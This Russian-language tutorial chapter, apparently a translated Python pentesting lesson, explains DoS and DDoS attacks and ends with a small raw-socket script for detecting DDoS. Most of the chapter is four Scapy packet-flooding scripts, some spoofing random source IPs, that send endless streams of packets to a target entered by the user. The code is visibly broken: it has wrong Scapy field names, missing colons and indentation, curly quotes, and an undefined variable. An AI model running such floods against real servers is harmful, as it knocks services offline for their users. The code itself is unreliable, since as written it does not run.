DoS и DDoS атаки
В этой главе мы узнаем о DoS- и DdoS-атаках и поймем, как их обнаружить.
С бумом в индустрии электронной коммерции веб-сервер теперь уязвим для атак и стал легкой мишенью для хакеров. Хакеры обычно предпринимают два типа атак:
- DoS (отказ в обслуживании)
- DDoS (распределенный отказ в обслуживании)
DoS-атака (отказ в обслуживании)
Атака отказа в обслуживании (DoS) - это попытка хакеров сделать сетевой ресурс недоступным. Обычно он прерывает работу хоста, временно или на неопределенный срок, который подключен к Интернету. Эти атаки обычно нацелены на службы, размещенные на критически важных веб-серверах, таких как банки, платежные шлюзы по кредитным картам.
Симптомы DoS-атаки
Необычно низкая производительность сети.
Недоступность определенного веб-сайта.
Невозможность получить доступ к любому веб-сайту.
Резкое увеличение количества полученных спам-писем.
Длительный отказ в доступе к сети или каким-либо интернет-сервисам.
Недоступность определенного веб-сайта.
Типы DoS-атак и их реализация на Python
DoS-атака может быть реализована на уровне канала передачи данных, сети или приложения. Давайте теперь узнаем о различных типах DoS-атак &; их реализация на Python -
Один IP-порт, один порт
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и одного номера порта. Это низкоуровневая атака, которая используется для проверки поведения веб-сервера. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт Python поможет реализовать DoS-атаку с одним IP-адресом и одним портом:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
После выполнения приведенный выше скрипт запросит следующие три вещи:
IP-адрес источника и цели.
IP-адрес номера порта источника.
Затем он отправит на сервер большое количество пакетов для проверки его поведения.
Один IP Несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и нескольких портов. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт python поможет реализовать DoS-атаку с одним IP-адресом и несколькими портами:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
Несколько IP-адресов, один порт
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и одного номера порта. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт Python реализует DoS-атаку с одним IP-адресом и несколькими портами -
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
Несколько IP-адресов, несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и нескольких портов. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт Python помогает реализовать DoS-атаку с несколькими IP-адресами:
Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
DDoS-атака (распределенный отказ в обслуживании)
Распределенная атака типа «отказ в обслуживании» (DDoS) - это попытка сделать онлайн-сервис или веб-сайт недоступными, перегрузив их огромными потоками трафика, генерируемого из нескольких источников.
В отличие от атаки типа «отказ в обслуживании» (DoS), при которой один компьютер и одно подключение к Интернету используются для наводнения целевого ресурса пакетами, в атаке DDoS используется множество компьютеров и множество подключений к Интернету, которые часто распространяются глобально в так называемом ботнете . Масштабная объемная DDoS-атака может генерировать трафик, измеряемый десятками гигабит (и даже сотнями гигабит) в секунду. Подробнее об этом можно прочитать наhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.
Обнаружение DDoS с использованием Python
На самом деле DDoS-атаку немного сложно обнаружить, потому что вы не знаете, что хост, который отправляет трафик, поддельный или настоящий. Приведенный ниже скрипт Python поможет обнаружить DDoS-атаку.
Для начала импортируем необходимые библиотеки -
import socket
import struct
from datetime import datetime
Теперь мы создадим сокет, который мы создали в предыдущих разделах.
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
Мы будем использовать пустой словарь -
dict = {}
Следующая строка кода откроет текстовый файл со сведениями о DDoS-атаке в режиме добавления.
file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())
С помощью следующей строки кода текущее время будет записываться при каждом запуске программы.
file_txt.writelines(t1)
file_txt.writelines("\n")
Теперь нам нужно принять попадания с определенного IP-адреса. Здесь мы предполагаем, что если конкретный IP-адрес поражает более 15 раз, это будет атака.
No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
while True:
pkt = s.recvfrom(2048)
ipheader = pkt[0][14:34]
ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
IP = socket.inet_ntoa(ip_hdr[3])
print "The Source of the IP is:", IP
Следующая строка кода проверит, существует ли IP в словаре или нет. Если он существует, он увеличит его на 1.
if dict.has_key(IP):
dict[IP] = dict[IP]+1
print dict[IP]
Следующая строка кода используется для удаления избыточности.
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
line = "DDOS attack is Detected: "
file_txt.writelines(line)
file_txt.writelines(IP)
file_txt.writelines("\n")
else:
dict[IP] = 1
После запуска приведенного выше скрипта мы получим результат в текстовом файле. Согласно сценарию, если IP-адрес попадет более 15 раз, он будет распечатан, поскольку вместе с этим IP-адресом обнаруживается DDoS-атака.